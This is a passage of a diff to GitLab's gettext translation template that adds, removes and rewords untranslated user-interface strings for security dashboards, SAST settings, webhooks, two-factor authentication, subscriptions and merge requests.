+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilties of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires license policy rules for licenses of Allowed, or Denied. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. More advanced configuration options exist, which you can add to the configuration file this tool generates. It's important to note that if you make any configurations, they will be saved as overrides and will be %{strongStart}excluded from automatic updates%{strongEnd}."
+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "SecurityConfiguration|Create Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Enable"
msgstr ""
msgid "SecurityConfiguration|Enable via Merge Request"
@@ -21313,6 +21932,9 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|SAST Configuration"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -21340,7 +21962,7 @@ msgstr ""
msgid "SecurityReports|Add a project to your dashboard"
msgstr ""
-msgid "SecurityReports|Add or remove projects from your dashboard"
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr ""
msgid "SecurityReports|Add projects"
@@ -21376,13 +21998,10 @@ msgstr ""
msgid "SecurityReports|Download Report"
msgstr ""
-msgid "SecurityReports|Each vulnerability now has a unique page that can be directly linked to, shared, referenced, and tracked as the single source of truth. Vulnerability occurrences also persist across scanner runs, which improves tracking and visibility and reduces duplicates between scans."
-msgstr ""
-
-msgid "SecurityReports|Edit dashboard"
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr ""
-msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
msgstr ""
msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
@@ -21397,19 +22016,13 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
-msgid "SecurityReports|Group Security Dashboard"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
-msgid "SecurityReports|Introducing standalone vulnerabilities"
-msgstr ""
-
msgid "SecurityReports|Issue Created"
msgstr ""
-msgid "SecurityReports|Learn more"
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
@@ -21421,6 +22034,9 @@ msgstr ""
msgid "SecurityReports|Monitor vulnerabilities in your code"
msgstr ""
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
msgid "SecurityReports|More info"
msgstr ""
@@ -21439,13 +22055,13 @@ msgstr ""
msgid "SecurityReports|Project"
msgstr ""
-msgid "SecurityReports|Projects added"
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
msgstr ""
-msgid "SecurityReports|Remove project from dashboard"
+msgid "SecurityReports|Projects added"
msgstr ""
-msgid "SecurityReports|Return to dashboard"
+msgid "SecurityReports|Remove project from dashboard"
msgstr ""
msgid "SecurityReports|Scan details"
@@ -21517,7 +22133,7 @@ msgstr ""
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
-msgid "SecurityReports|Unable to add %{invalidProjectsMessage}"
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
msgstr ""
msgid "SecurityReports|Unable to add %{invalidProjects}"
@@ -21526,6 +22142,9 @@ msgstr ""
msgid "SecurityReports|Undo dismiss"
msgstr ""
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
@@ -21556,9 +22175,6 @@ msgstr ""
msgid "See what's new at GitLab"
msgstr ""
-msgid "See your pipeline in action"
-msgstr ""
-
msgid "Select"
msgstr ""
@@ -21682,6 +22298,9 @@ msgstr ""
msgid "Select shards to replicate"
msgstr ""
+msgid "Select source"
+msgstr ""
+
msgid "Select source branch"
msgstr ""
@@ -21712,6 +22331,9 @@ msgstr ""
msgid "Select timezone"
msgstr ""
+msgid "Select type"
+msgstr ""
+
msgid "Select user"
msgstr ""
@@ -21901,6 +22523,12 @@ msgstr ""
msgid "Service Desk is enabled but not yet active"
msgstr ""
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
msgid "Service Templates"
msgstr ""
@@ -21913,6 +22541,12 @@ msgstr ""
msgid "Set %{epic_ref} as the parent epic."
msgstr ""
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
msgid "Set a default template for issue descriptions."
msgstr ""
@@ -22229,19 +22863,19 @@ msgstr ""
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
-msgid "Showing Latest Version"
+msgid "Showing all issues"
msgstr ""
-msgid "Showing Version #%{versionNumber}"
+msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
-msgid "Showing all issues"
+msgid "Showing last %{size} of log -"
msgstr ""
-msgid "Showing graphs based on events of the last %{timerange} days."
+msgid "Showing latest version"
msgstr ""
-msgid "Showing last %{size} of log -"
+msgid "Showing version #%{versionNumber}"
msgstr ""
msgid "Side-by-side"
@@ -22337,6 +22971,9 @@ msgstr ""
msgid "Similar issues"
msgstr ""
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
msgid "Single or combined queries"
msgstr ""
@@ -22379,7 +23016,7 @@ msgstr ""
msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
msgstr ""
-msgid "SlackIntegration|This service send notifications about projects' events to Slack channels. To set up this service:"
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
msgstr ""
msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
@@ -22430,12 +23067,21 @@ msgstr ""
msgid "SnippetsEmptyState|There are no snippets to show."
msgstr ""
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
msgid "Snippets|Description (optional)"
msgstr ""
msgid "Snippets|File"
msgstr ""
+msgid "Snippets|Files"
+msgstr ""
+
msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
msgstr ""
@@ -22493,6 +23139,9 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
msgid "Something went wrong when toggling the button"
msgstr ""
@@ -22622,10 +23271,10 @@ msgstr ""
msgid "Something went wrong, unable to add projects to dashboard"
msgstr ""
-msgid "Something went wrong, unable to get projects"
+msgid "Something went wrong, unable to delete project"
msgstr ""
-msgid "Something went wrong, unable to remove project"
+msgid "Something went wrong, unable to get projects"
msgstr ""
msgid "Something went wrong, unable to search projects"
@@ -23522,6 +24171,9 @@ msgstr ""
msgid "Switch to the source to copy the file contents"
msgstr ""
+msgid "Symbolic link"
+msgstr ""
+
msgid "Sync information"
msgstr ""
@@ -23570,6 +24222,9 @@ msgstr ""
msgid "Tag name"
msgstr ""
+msgid "Tag name is required"
+msgstr ""
+
msgid "Tag this commit."
msgstr ""
@@ -23582,6 +24237,9 @@ msgstr ""
msgid "Tags"
msgstr ""
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
msgid "Tags feed"
msgstr ""
@@ -23763,6 +24421,12 @@ msgstr ""
msgid "Test"
msgstr ""
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
msgid "Test coverage parsing"
msgstr ""
@@ -23831,9 +24495,6 @@ msgstr ""
msgid "TestReports|There was an error fetching the summary."
msgstr ""
-msgid "TestReports|There was an error fetching the test reports."
-msgstr ""
-
msgid "TestReports|There was an error fetching the test suite."
msgstr ""
@@ -23870,15 +24531,12 @@ msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
-msgid "The %{true_up_link_start}true-up model%{link_end} has a retroactive charge for these users at the next renewal. If you want to update your license sooner to prevent this, %{support_link_start}please contact our Support team%{link_end}."
-msgstr ""
-
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] ""
msgstr[1] ""
-msgid "The Advanced Global Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
@@ -23905,6 +24563,9 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
@@ -23935,6 +24596,9 @@ msgstr ""
msgid "The commit does not exist"
msgstr ""
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -23989,6 +24653,12 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "The following items will NOT be exported:"
msgstr ""
@@ -24090,13 +24760,13 @@ msgstr ""
msgid "The number of changes to be fetched from GitLab when cloning a repository. This can speed up Pipelines execution. Keep empty or set to 0 to disable shallow clone by default and make GitLab CI fetch all branches and tags each time."
msgstr ""
-msgid "The number of merge requests merged to the master branch by month."
+msgid "The number of merge requests merged by month."
msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
-msgid "The one place for your designs"
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
@@ -24135,6 +24805,9 @@ msgstr ""
msgid "The project can be accessed without any authentication."
msgstr ""
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
msgstr ""
@@ -24252,6 +24925,9 @@ msgstr ""
msgid "There are currently no events."
msgstr ""
+msgid "There are merge conflicts"
+msgstr ""
+
msgid "There are no %{replicableTypeName} to show"
msgstr ""
@@ -24327,12 +25003,15 @@ msgstr ""
msgid "There is already a repository with that name on disk"
msgstr ""
-msgid "There is no data available."
+msgid "There is no chart data available."
msgstr ""
msgid "There is no data available. Please change your selection."
msgstr ""
+msgid "There is no table data available."
+msgstr ""
+
msgid "There is too much data to calculate. Please change your selection."
msgstr ""
@@ -24345,6 +25024,9 @@ msgstr ""
msgid "There was a problem fetching labels."
msgstr ""
+msgid "There was a problem fetching milestones."
+msgstr ""
+
msgid "There was a problem fetching project branches."
msgstr ""
@@ -24495,19 +25177,19 @@ msgstr ""
msgid "There was an error when unsubscribing from this label."
msgstr ""
-msgid "There was an error while fetching value stream analytics data."
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration data."
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration median data."
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
msgstr ""
-msgid "There was an error while fetching value stream analytics recent activity data."
+msgid "There was an error while fetching value stream analytics data."
msgstr ""
-msgid "There was an error while fetching value stream analytics time summary data."
+msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
@@ -24531,6 +25213,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuableType} is confidential"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -24561,7 +25246,7 @@ msgstr ""
msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr ""
-msgid "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc."
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
msgstr ""
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
@@ -24735,9 +25420,6 @@ msgstr ""
msgid "This is your current session"
msgstr ""
-msgid "This issue is confidential"
-msgstr ""
-
msgid "This issue is currently blocked by the following issues: %{issues}."
msgstr ""
@@ -24900,15 +25582,15 @@ msgstr ""
msgid "This project does not have a wiki homepage yet"
msgstr ""
-msgid "This project does not have billing enabled. To create a cluster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">enable billing <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> and try again."
-msgstr ""
-
msgid "This project has no active access tokens."
msgstr ""
msgid "This project is archived and cannot be commented on."
msgstr ""
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
msgid "This project path either does not exist or you do not have access."
msgstr ""
@@ -24969,6 +25651,9 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
msgid "This will help us personalize your onboarding experience."
msgstr ""
@@ -25342,9 +26027,6 @@ msgstr ""
msgid "To define internal users, first enable new users set to external"
msgstr ""
-msgid "To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}."
-msgstr ""
-
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr ""
@@ -25429,9 +26111,15 @@ msgstr ""
msgid "To unsubscribe from this issue, please paste the following link into your browser:"
msgstr ""
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
msgstr ""
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
msgstr ""
@@ -25453,9 +26141,6 @@ msgstr ""
msgid "Today"
msgstr ""
-msgid "Toggle Kubernetes cluster"
-msgstr ""
-
msgid "Toggle Markdown preview"
msgstr ""
@@ -25516,6 +26201,9 @@ msgstr ""
msgid "Toggles :%{name}: emoji award."
msgstr ""
+msgid "Token valid until revoked"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -25660,6 +26348,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger manual job"
+msgstr ""
+
msgid "Trigger pipelines for mirror updates"
msgstr ""
@@ -25729,9 +26420,18 @@ msgstr ""
msgid "Turn On"
msgstr ""
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
msgid "Turn on Service Desk"
msgstr ""
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
msgid "Twitter"
msgstr ""
@@ -25747,10 +26447,22 @@ msgstr ""
msgid "Two-factor Authentication Recovery codes"
msgstr ""
-msgid "Two-factor Authentication has been disabled for this user"
+msgid "Two-factor authentication"
msgstr ""
-msgid "Two-factor authentication"
+msgid "Two-factor authentication disabled"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
msgstr ""
msgid "Type"
@@ -25933,7 +26645,7 @@ msgstr ""
msgid "Unlock the discussion"
msgstr ""
-msgid "Unlock this %{issuableDisplayName}? <strong>Everyone</strong> will be able to comment."
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
msgstr ""
msgid "Unlocked"
@@ -26023,6 +26735,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused, previous index '%{index_name}' will be deleted after %{time} automatically."
+msgstr ""
+
msgid "Unverified"
msgstr ""
@@ -26104,9 +26819,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated at"
-msgstr ""
-
msgid "Updated to %{linkStart}chart v%{linkEnd}"
msgstr ""
@@ -26122,7 +26834,7 @@ msgstr ""
msgid "Upgrade your plan"
msgstr ""
-msgid "Upgrade your plan to activate Advanced Global Search."
+msgid "Upgrade your plan to activate Advanced Search."
msgstr ""
msgid "Upgrade your plan to activate Audit Events."
@@ -26197,7 +26909,7 @@ msgstr ""
msgid "Usage"
msgstr ""
-msgid "Usage ping is not enabled"
+msgid "Usage ping is off"
msgstr ""
msgid "Usage statistics"
@@ -26287,9 +26999,6 @@ msgstr ""
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
msgstr ""
-msgid "Use %{native_redirect_uri} for local tests"
-msgstr ""
-
msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
msgstr ""
@@ -26341,9 +27050,6 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
-msgid "User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled."
-msgstr ""
-
msgid "User IDs"
msgstr ""
@@ -26587,9 +27293,15 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
+msgid "Users requesting access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
msgid "Users were successfully added."
msgstr ""
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
msgstr ""
@@ -26623,6 +27335,9 @@ msgstr ""
msgid "Validate"
msgstr ""
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
msgid "Validate your GitLab CI configuration file"
msgstr ""
@@ -26659,6 +27374,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
msgid "Variable"
msgstr ""
@@ -26701,6 +27419,12 @@ msgstr ""
msgid "Version"
msgstr ""
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
msgid "View Documentation"
msgstr ""
@@ -26903,6 +27627,9 @@ msgstr ""
msgid "Vulnerabilities over time"
msgstr ""
+msgid "Vulnerability Report"
+msgstr ""
+
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
@@ -26966,9 +27693,6 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
msgstr ""
-msgid "VulnerabilityManagement|Something went wrong, could not create an issue."
-msgstr ""
-
msgid "VulnerabilityManagement|Something went wrong, could not get user."
msgstr ""
@@ -27110,7 +27834,7 @@ msgstr ""
msgid "We sent you an email with reset password instructions"
msgstr ""
-msgid "We tried to automatically renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
msgstr ""
msgid "We want to be sure it is you, please confirm you are not a robot."
@@ -27155,6 +27879,90 @@ msgstr ""
msgid "Webhooks have moved. They can now be found under the Settings menu."
msgstr ""
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
msgid "Wednesday"
msgstr ""
@@ -27176,21 +27984,21 @@ msgstr ""
msgid "Welcome to GitLab"
msgstr ""
-msgid "Welcome to GitLab %{name}!"
+msgid "Welcome to GitLab%{br_tag}%{name}!"
msgstr ""
msgid "Welcome to GitLab, %{first_name}!"
msgstr ""
-msgid "Welcome to GitLab.com%{br_tag}@%{name}!"
-msgstr ""
-
msgid "Welcome to the guided GitLab tour"
msgstr ""
msgid "Welcome to your Issue Board!"
msgstr ""
+msgid "Welcome to your issue board!"
+msgstr ""
+
msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
msgstr ""
@@ -27200,6 +28008,9 @@ msgstr ""
msgid "What describes you best?"
msgstr ""
+msgid "What's new at GitLab"
+msgstr ""
+
msgid "What’s your experience level?"
msgstr ""
@@ -27517,10 +28328,10 @@ msgstr ""
msgid "You are connected to the Prometheus server, but there is currently no data to display."
msgstr ""
-msgid "You are going to remove %{group_name}, this will also remove all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
-msgid "You are going to remove %{project_full_name}. Removed project CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
@@ -27529,6 +28340,12 @@ msgstr ""
msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
msgstr ""
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on the confidentiality. This means that only team members with %{strongStart}at least Reporter access%{strongEnd} are able to see and leave comments on the %{issuableType}."
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -27538,6 +28355,9 @@ msgstr ""
msgid "You are not authorized to perform this action"
msgstr ""
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
msgid "You are now impersonating %{username}"
msgstr ""
@@ -27574,9 +28394,6 @@ msgstr ""
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
-msgid "You can also use project access tokens to authenticate against Git over HTTP."
-msgstr ""
-
msgid "You can always edit this later"
msgstr ""
@@ -27610,13 +28427,13 @@ msgstr ""
msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong> or invite another group."
+msgid "You can invite a new member to %{project_name} or invite another group."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong>."
+msgid "You can invite a new member to %{project_name}."
msgstr ""
-msgid "You can invite another group to <strong>%{project_name}</strong>."
+msgid "You can invite another group to %{project_name}."
msgstr ""
msgid "You can move around the graph by using the arrow keys."
@@ -27700,10 +28517,10 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription so it was downgraded to the GitLab Core Plan."
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
msgstr ""
msgid "You do not have an active license"
@@ -27916,6 +28733,9 @@ msgstr ""
msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
msgstr ""
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "You'll be signed out from your current account automatically."
msgstr ""
@@ -27991,7 +28811,7 @@ msgstr ""
msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
msgstr ""
-msgid "Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -28108,6 +28928,9 @@ msgstr ""
msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
msgstr ""
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
msgid "Your instance is approaching its licensed user count"
msgstr ""
@@ -28236,6 +29059,9 @@ msgstr ""
msgid "among other things"
msgstr ""
+msgid "and"
+msgstr ""
+
msgid "any-approver for the merge request already exists"
msgstr ""
@@ -28538,12 +29364,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "confidentiality|You are going to turn off the confidentiality. This means <strong>everyone</strong> will be able to see and leave a comment on this issue."
-msgstr ""
-
-msgid "confidentiality|You are going to turn on the confidentiality. This means that only team members with <strong>at least Reporter access</strong> are able to see and leave comments on the issue."
-msgstr ""
-
msgid "connecting"
msgstr ""
@@ -28700,6 +29520,11 @@ msgstr ""
msgid "from"
msgstr ""
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "group"
msgstr ""
@@ -28745,9 +29570,6 @@ msgstr ""
msgid "in project %{link_to_project}"
msgstr ""
-msgid "index"
-msgstr ""
-
msgid "instance completed"
msgid_plural "instances completed"
msgstr[0] ""
@@ -28789,6 +29611,9 @@ msgstr ""
msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
msgstr ""
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
msgid "is not an email you own"
msgstr ""
@@ -28938,9 +29763,15 @@ msgstr ""
msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
msgstr ""
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
msgid "mrWidget|Added to the merge train by"
msgstr ""
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
msgid "mrWidget|Allows commits from members who can merge to the target branch"
msgstr ""
@@ -28953,6 +29784,9 @@ msgstr ""
msgid "mrWidget|An error occurred while submitting your approval."
msgstr ""
+msgid "mrWidget|Approval is optional"
+msgstr ""
